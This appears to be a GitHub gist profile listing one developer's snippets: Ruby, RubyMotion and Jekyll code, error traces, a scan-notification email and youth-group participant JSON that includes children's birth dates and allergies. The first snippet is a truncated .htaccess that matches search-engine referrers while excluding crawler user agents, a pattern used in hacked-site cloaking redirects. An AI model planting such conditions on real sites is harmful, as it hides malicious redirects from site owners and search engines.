Skip to content

Instantly share code, notes, and snippets.

Sebastian buk

Block or report user

Report or block buk

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View .htaccess
<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(imgres).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
@buk
buk / setup.rb
Created Aug 24, 2013
Mein Frage drehte sich um Zeile 15, aber seitdem ich das *rescue nil* da stehen habe, klappt der Verbindungsaufbau :-)
View setup.rb
require 'pg'
require 'active_record'
connection_details = {
adapter: 'postgresql',
database: 'toner',
username: 'sebastian',
encoding: 'utf8',
pool: 5
}
@buk
buk / gist:5743323
Created Jun 9, 2013
JSON Output ...
View gist:5743323
[{"name":"Sebastian","id":1,"createdAt":"2013-03-14T23:57:14.922Z","updatedAt":"2013-03-15T00:03:24.987Z","group":"St. Johannes","gender":"male"},{"name":"Johannes","id":2,"createdAt":"2013-03-14T23:57:21.474Z","updatedAt":"2013-03-15T00:03:30.339Z","group":"St. Johannes","gender":"male"},{"name":"Christian","id":3,"createdAt":"2013-03-14T23:57:27.107Z","updatedAt":"2013-03-15T00:03:34.889Z","group":"St. Peter","gender":"male"},{"name":"Markus","id":4,"createdAt":"2013-03-14T23:57:32.698Z","updatedAt":"2013-03-15T00:03:38.878Z","group":"St. Peter","gender":"male"},{"name":"Petra","id":5,"createdAt":"2013-03-14T23:57:38.602Z","updatedAt":"2013-03-15T00:03:47.346Z","group":"St. Martin","gender":"female"},{"name":"Daniela","id":6,"createdAt":"2013-03-14T23:57:43.070Z","updatedAt":"2013-03-15T00:03:55.190Z","group":"St. Martin","gender":"female"},{"name":"Steffie","id":7,"createdAt":"2013-03-14T23:57:48.384Z","updatedAt":"2013-03-15T00:04:01.717Z","group":"Hl. Franz von Assissi","gender":"female"},{"name":"Christ
@buk
buk / gist:5743103
Created Jun 9, 2013
after running 'rake' i am getting these error messages ...
View gist:5743103
/Users/sebastian/.rvm/gems/ruby-1.9.3-p125/gems/xcodeproj-0.6.0/ext/xcodeproj/xcodeproj_ext.bundle: [BUG] Segmentation fault
ruby 1.9.3p125 (2012-02-16 revision 34643) [x86_64-darwin11.2.0]
-- Control frame information -----------------------------------------------
c:0066 p:-17523237287868 s:0222 b:0222 l:000221 d:000221 TOP
c:0065 p:---- s:0220 b:0220 l:000219 d:000219 CFUNC :require
c:0064 p:0035 s:0216 b:0216 l:000215 d:000215 TOP /Users/sebastian/.rvm/gems/ruby-1.9.3-p125/gems/xcodeproj-0.6.0/lib/xcodeproj/project.rb:3
c:0063 p:---- s:0214 b:0214 l:000213 d:000213 FINISH
c:0062 p:0013 s:0212 b:0211 l:000210 d:000210 CLASS /Users/sebastian/.rvm/gems/ruby-1.9.3-p125/gems/cocoapods-0.20.2/lib/cocoapods/project.rb:10
c:0061 p:0021 s:0209 b:0209 l:000208 d:000208 TOP /Users/sebastian/.rvm/gems/ruby-1.9.3-p125/gems/cocoapods-0.20.2/lib/cocoapods/project.rb:3
@buk
buk / gist:5032548
Created Feb 25, 2013
TrustKeeper Network Scan Information
View gist:5032548
To view this email as a web page, go here. view email in a web browser
This is an automated email message to anticipate you that the scheduled TrustKeeper vulnerability scan of YOUR PRIVATE NETWORK has completed and is not compliant.IMPORTANT: During the scan, TrustKeeper Identified Possible Security holes. Trustwave strongly recommends you review these findings as your overall PCI DSS compliance status may be affected.TrustKeeper generated a vulnerability scan report. You may view these results by accessing TrustKeeper at:https://signin.trustwave.com User Name:xxx You will receive an e-mail confirmation when the scan completes and your results are available. Please note that this can take up to three days. Note: If you monitor your network for activity, note that the TrustKeeper scan may originate from IP addresses in these ranges:205.19.208.0/2460.34.236.0/24TrustKeeper is a certified remote assessment and compliance solution created by Trustwave and designed to help merchants meet the PCI DS
@buk
buk / Express
Created Feb 18, 2013
After the installation of Express.js the command 'express' to create new applications is not available
View Express
➜ Code npm install -g express
npm http GET https://registry.npmjs.org/express
npm http 304 https://registry.npmjs.org/express
npm http GET https://registry.npmjs.org/connect/2.7.2
npm http GET https://registry.npmjs.org/commander/0.6.1
npm http GET https://registry.npmjs.org/range-parser/0.0.4
npm http GET https://registry.npmjs.org/mkdirp/0.3.3
npm http GET https://registry.npmjs.org/cookie/0.0.5
npm http GET https://registry.npmjs.org/buffer-crc32/0.1.1
npm http GET https://registry.npmjs.org/fresh/0.1.0
@buk
buk / gauges.html
Created Nov 28, 2012
The gauges html file
View gauges.html
{% if site.gauges_tracking_id %}
<script type="text/javascript">
var _gauges = _gauges || [];
(function() {
var t = document.createElement('script');
t.type = 'text/javascript';
t.async = true;
t.id = 'gauges-tracker';
t.setAttribute('data-site-id', '{{ site.gauges_tracking_id }}');
t.src = '//secure.gaug.es/track.js';
@buk
buk / api_participant.rb
Created Nov 21, 2012
The Participant Model
View api_participant.rb
class ApiParticipant
def self.fetch_participants(&block)
BubbleWrap::HTTP.get("http://jugendgruppe-backend.192.168.2.105.xip.io/participants.json") do |response|
if response.ok?
json = BubbleWrap::JSON.parse(response.body)
participants = json.map {|pj| Participant.from_json(pj["participant"])}
p "You are here: #{self.name}: #{participants}"
block.call(true, participants)
@buk
buk / participants.json
Created Nov 21, 2012
All the participants as a JSON String
View participants.json
[{"participant":{"allergy":"Lactose Intolerant","created_at":"2012-11-20T05:40:07Z","date_of_birth":"2007-10-06","emergency_number":"xxxxxxxxxx","first_name":"Sebastian","group":"St. Peter","health_insurance_card":true,"id":1,"last_name":"Bachmann","swimmer":true,"updated_at":"2012-11-20T05:40:07Z","vaccination_certificate":true}},{"participant":{"allergy":"Fructose Intolerant","created_at":"2012-11-20T05:41:17Z","date_of_birth":"2008-03-03","emergency_number":"xxxxxxxxxx","first_name":"Johannes ","group":"St. Johannes","health_insurance_card":true,"id":2,"last_name":"Bachmann","swimmer":true,"updated_at":"2012-11-20T05:41:17Z","vaccination_certificate":true}}]
You can’t perform that action at this time.